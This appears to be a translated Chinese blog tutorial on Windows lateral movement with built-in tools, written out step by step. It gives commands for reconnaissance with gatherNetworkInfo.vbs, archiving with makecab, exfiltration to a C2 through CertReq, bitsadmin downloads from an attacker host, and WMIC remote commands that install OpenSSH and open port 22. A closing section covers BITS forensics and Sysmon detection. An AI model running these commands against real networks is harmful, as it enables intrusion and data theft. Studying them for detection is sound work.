如何通过Windows内置的组件来实现横向渗透

 

在本文中,我们将为读者介绍如何通过Windows内置的组件来实现横向移动。

简介

首先,假设我们能够以一个具有本地管理权限的域用户(2EZ)的身份在一个加入了域的计算机上面登陆shell。这样的话,通过net、ipconfig、netstat等基本工具,我们就可以深入考察这台机器,以确定下一步的行动。但是,我们能否将这些任务都自动化呢?

gatherNetworkInfo.vbs

幸运的是,gatherNetworkInfo.vbs是一个具有MS签名的内置脚本,可以为我们完成了大部分调查工作。不过,这脚本的动作有点大,不仅会使CPU利用率升高,而且还会对很多文件执行写入操作(事件日志、网络命令、硬件信息等),好在它有微软的签名,所以不会导致警报窗口弹出。

通常情况下,我们可以在CLI中使用cscript.exe来运行这个vbs脚本。

cscript.exe gatherNetworkInfo.vbs

一分钟左右后,该命令就会运行结束,并生成大量文件等着我们去分析。这些文件通常位于C:\Windows\System32\config目录中。

当需要分析的数据量很大的时候,可以设法把它们弄出来,然后进行离线分析。在这种情况下,可以将所有由gatherNetworkInfo.vbs生成的新文件压缩到一个归档中,然后将它们泄露出来。

MakeCab.exe

如果目标机器上面没有安装任何第三方CLI归档工具(如7zip),那么makecab.exe是一个不错的替代方案,因为它是内置的。此外,PowerShell也是个不错的选择。

使用makecab程序时,我们首先需要创建一个“列表”,给出想要归档的文件——该列表每行都含有一个文件名。如果使用的是较新版本的windows系统,则可以使用内置的tar命令;否则的话,就只能求助于makecab程序了。

实际上,创建文件列表的工作,可以用批处理脚本来完成。这个由单行代码组成的命令,将遍历输出目录,寻找并格式化其中新创建的文件。

dir /a-d |find "04/25/2021" |findstr /V COMPONENTS > C:\ProgramData\list.txt && for /f "tokens=4,* delims= " %a in (C:\ProgramData\list.txt) do @echo %b >> C:\ProgramData\mca.txt

最终的列表将输出为mca.txt文件,为此,我们将使用Windows Cabinent Maker! 下面的语法将使用C:\ProgramData\mca.txt中的文件列表把.cab文件创建为C:\ProgramData\enum_results.cab。

makecab /d CabinetNameTemplate=enum_results.cab /D DiskDirectoryTemplate=C:\ProgramData /f C:\ProgramData\mca.txt

由此产生的.cab文件大约是300KB(根据事件日志的大小,可能差别很大)。现在,需要把这个文件泄露出去,但是能够实现上传任务的内置工具并不是太多,而CertReq.exe便是其中一个。

CertReq.exe

只要使用正确的选项,就可以使用这个带有签名的组件来发送包含本地文件数据的POST请求——只要数据小于64KB即可。这样的话,我们就可以通过HTTP(s) POST请求将本地文件、数据等从目标机器传给我们的C2。

为了克服这个数据长度限制,我们可以写一个脚本,先对.cab进行编码,然后进行切割,最后用CertReq分段传输即可。

我写了一个简单的C#脚本,可以用来完成上述任务。大家使用的时候,只需调整C2 uri以符合您的要求,然后重新编译即可。但首先,我们需要把这个编译好的二进制文件放到目标机器上,我们可以用……您猜对了,就是用bitsadmin来下载!

BITSAdmin.exe

这是一个简单快速的wget/curl风格的windows工具。我们将在初始shell中运行它,从而将C#编写的CertReq包装器下载至本地——也就是目标机器上。

bitsadmin /transfer /download http://172.18.0.21/ec.exe C:\ProgramData\ElixirCrescendo.exe

实际上,bitsadmin有许多玩法,比如用于上传(通过SMB),甚至实现权限维持。另外,FireEye最近发布了一篇关于bitsadmin及其取证技术的相关研究文章。我们将在最后简要介绍相关的取证方法。

 

数据泄露

现在,C# CertReq包装器已经下载到了目标机器上,之后,我们就可以把相关的文件进行分段并分批发送了。

需要注意的是,C# PE将先对目标文件进行base64编码,并分割成63KB的文件,然后,通过CertReq将每个63KB的文件发送给C2,最后,打扫战场……当然,这些任务也可以通过简单的powerhell命令来完成,对吧?

运行Procmon.exe时,会显示TCP的连接和断开情况:

以及:

太好了,现在我们对收到的文件进行b64解码,解压缩,我们就能得到所需要的东西了。同时,您也可以使用7zip或expand.exe juicy.cab -f:* C:\dest命令来解压cab文件,之后,我们将进入最令人兴奋的部分:分析!

 

实现跳转

假设您在努力筛选下载的结果后,才找到一个映射的共享机器。这个被映射的机器将是我们的下一个目标。但是等一下,您还发现ssh.exe安装在本地,而且发现现在的用户在新目标上也具有本地管理权限。

实际上,这里有一种方法,那就是在第二个目标机器上安装OpenSSH server for Windows(MS官方Win32端口)。这样,你就可以通过命令行ssh连接到新目标机器,而没有任何双跳问题。虽然我们可以启用RDP、远程注册等,但这里还是要用Windows版的OpenSSH。

安装OpenSSH for Windows是相当简单的事情,但是如何在一个还没有shell权限的目标机器上执行远程命令呢?实际上,实现这个目标的方法有多种,但在这篇文章中,将使用WMIC.exe!

WMIC.exe

简单来说,WMIC.exe是一个非常有用的工具,可以在本地和远程执行命令。然而,为了使用WMIC的新功能,需要具有较高的权限。

首先,我们将在发动攻击的机器中下载ssh zip,然后将其放到映射的共享中。

bitsadmin /transfer /download http://172.18.0.21/lolb/ssh.zip S:\ssh.zip

然后,就可以利用powershell或7zip(7z x ssh.zip,如果在第二台机器上的话)来进行解压。一旦解压到目标机上,我们就可以使用WMIC来远程安装SSH,并讲起设为一个服务来运行。

wmic /node:SECDEV process call create 'cmd /c "powershell.exe -ExecutionPolicy Bypass -File C:\share\tmp\install-sshd.ps1"'

值得高兴的是,SSH软件包带有一个PS安装脚本,使得它的安装非常简单。现在要做的事情,就是添加一个防火墙规则,允许使用端口22,并启动两个SSH服务。

wmic /node:SECDEV process call create 'netsh.exe advfirewall firewall add rule name=SSH dir=in action=allow protocol=TCP localport=22'
wmic /node:SECDEV process call create 'cmd /c net start ssh-agent'
wmic /node:SECDEV process call create 'cmd /c net start sshd'

ssh.exe

所有这些任务都完成后,就可以清理现场,并通过SSH访问新的目标机器了。

 

取证工作

现在,我们开始介绍如何提取sysmon和bitsadmin的残留物。当运行BITS作业时,不仅在事件日志中,而且在C:\ProgramData\Microsoft\Network\中都会产生一些残留物。取值人员可对这些文件(特别是qmgr*)进行解析,以显示BITS工作的历史,以及记录目的地(及其他信息),从而找出攻击者的C2。

作为一项练习,用C#语言拼凑了一个解析器,但我相信还有其他的解析器可以用,而且效果会更好一些。通过在数据库中进行搜索,我们找到了下列信息:

使用Sysmon完成检测

利用SwiftonSecurity的Sysmon配置,可以让每个进程都创建一个事件。我们可以查看我们使用的LOLBins,并注意每个Lolbin的命令行语法。

我们还可以在检测远程命令时注意WMIC的网络连接。

一旦确定了基线,针对Lolbin列表发出警报将是一种非常有用的检测机制。实际上,有人在SANS的一个帖子中专门讨论过这件事。不过,如果将其分解在发现与特定命令行语法匹配的规则时发出警报的话,效果会更好一些。

 

总结

在本文中,我们为读者介绍了如何利用Windows系统内置的工具来实现横向渗透,希望对大家的学习有所帮助。

(完)